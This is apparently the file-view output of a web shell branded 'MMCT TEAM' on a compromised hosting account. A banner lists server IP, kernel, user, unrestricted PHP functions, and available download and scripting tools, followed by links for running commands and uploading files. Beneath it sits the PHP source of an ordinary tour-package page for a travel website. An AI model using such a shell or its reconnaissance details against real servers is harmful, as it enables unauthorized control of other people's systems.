MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.220.200.197
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/thegloriousadventure.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/thegloriousadventure.com/home-package2.php
    <div class="package-area package-style-one pt-110 ">
        <div class="container">
            <div class="row align-items-center">
                <div class="col-lg-8">
                    <div class="section-head-alpha">
                        <h2><span>Tour Packages</span></h2>
                        <p>Explore the majestic Kashmir, the City of Yoga, and the Cartling streets of North India in our Tour.</p>
                    </div>
                </div>
                <?php
                    $sqlcat2 = "SELECT * FROM tbl_main_cat WHERE c_id='11'";
                    $runcat2 = mysqli_query($db,$sqlcat2);
                    $datacat2 = mysqli_fetch_assoc($runcat2);
                ?>
                <div class="col-lg-4">
                    <div class="package-btn text-lg-end">
                        <a href="<?php echo $wspath?>tour-cat<?php echo $datacat2["slug"];?>.html" class="button-fill-primary">View All Tour</a>
                    </div>
                </div>
            </div>
            <div class="row g-4">
                <?php
                    $sqltour = "SELECT * FROM tbl_services WHERE tour_status='Active' ORDER BY tour_order ASC LIMIT 6";
                    $runtour = mysqli_query($db, $sqltour) or die("Query Not run");
                    while ($datatour = mysqli_fetch_assoc($runtour)) {
                    $serviceUrl = $wspath ;
                    if (isset($_REQUEST['loc_slug'])) {
                        $loc_slug = htmlspecialchars($_REQUEST['loc_slug']);
                        $serviceUrl .=  $loc_slug. '/';
                    }
                
                    $serviceUrl .= '' . $datatour['slug_url'] . '.html';
                ?>
                <div class="col-lg-4 col-md-6">
                    <div class="package-card-alpha">
                        <div class="package-thumb">
                            <a href="<?php echo $serviceUrl; ?>">
                                <img src="<?php echo $wspath?>admin/images/property-image/<?php echo $datatour['image'];?>" alt="<?= str_replace("LOCATION",$location,$datatour["name"]);?>" title="<?= str_replace("LOCATION",$location,$datatour["name"]);?>">
                            </a>
                        </div>
                        <div class="package-card-body">
                            <h3 class="p-card-title"><a href="<?php echo $serviceUrl; ?>"><?= str_replace("LOCATION",$location,$datatour["name"]);?></a></h3>
                            <span><?php echo substr($datatour['short_desc'],0,150);?>...</span>
                            <div class="p-card-bottom">
                            
                                <!--<div class="wp-btn">-->
                                <!--    <a href="https://wa.me/<?php echo $data1['whatsapp'];?>" target="blank">WhatsApp Now  <i class='bx bxs-right-arrow-alt'></i></a>-->
                                <!--</div>-->
                                <div class="p-card-info">
                                    <span>Start From</span>
                                    <h6>₹ <?php echo $datatour["price"] ?>/- </h6>
                                </div>
                                <div class="pkg_btn">
                                    <a href="<?php echo $serviceUrl; ?>" class="btn btn-success">Book Now <i class='bx bxs-right-arrow-alt'></i></a>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <?php } ?>
                
            </div>
        </div>
    </div>

MMCT - 2023